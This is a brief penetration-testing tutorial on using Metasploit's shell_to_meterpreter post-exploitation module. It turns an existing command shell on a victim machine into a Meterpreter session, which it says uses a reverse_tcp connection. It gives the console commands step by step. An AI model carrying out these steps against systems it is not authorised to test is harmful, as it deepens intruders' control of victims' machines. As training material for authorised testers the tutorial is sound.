How to Upgrade Shell to Meterpreter

In network penetration testing, we always wish to hack a system of an internal network and try to make an unauthorized access through meterpreter session using metasploit framework.  But there are some exploits which provides directly victim's command shell instead of meterpreter session. In this article we have tried to upgrade from victim's shell to meterpreter shell.

In previous article we had discussed related to how to access victim's shell. Now once you have access victims command shell then follow the given below step to upgrade a command shell into meterepreter shell.

Here I have already access command shell of victim's Pc

msf auxiliary(telnet_login) >sessions

In following screenshot you can perceive that it is showing the TYPE for session 1: shell.

This module attempts to upgrade a command shell to meterpreter. The shell platform is automatically detected and the best version of meterpreter for the target is selected. Currently meterpreter/reverse_tcp is used on Windows and Linux, with python/meterpreter/reverse_tcp' used on all others.

use post/multi/manage/shell_to_meterpreter

msf post(shell_to_meterpreter) > set session 1

msf post(shell_to_meterpreter) > exploit

Let's verify the TYPEfor session 2

msf post(shell_to_meterpreter) >sessions

Now have a look over last image which is showing the new session i.e. session 2 is a meterpreter session.

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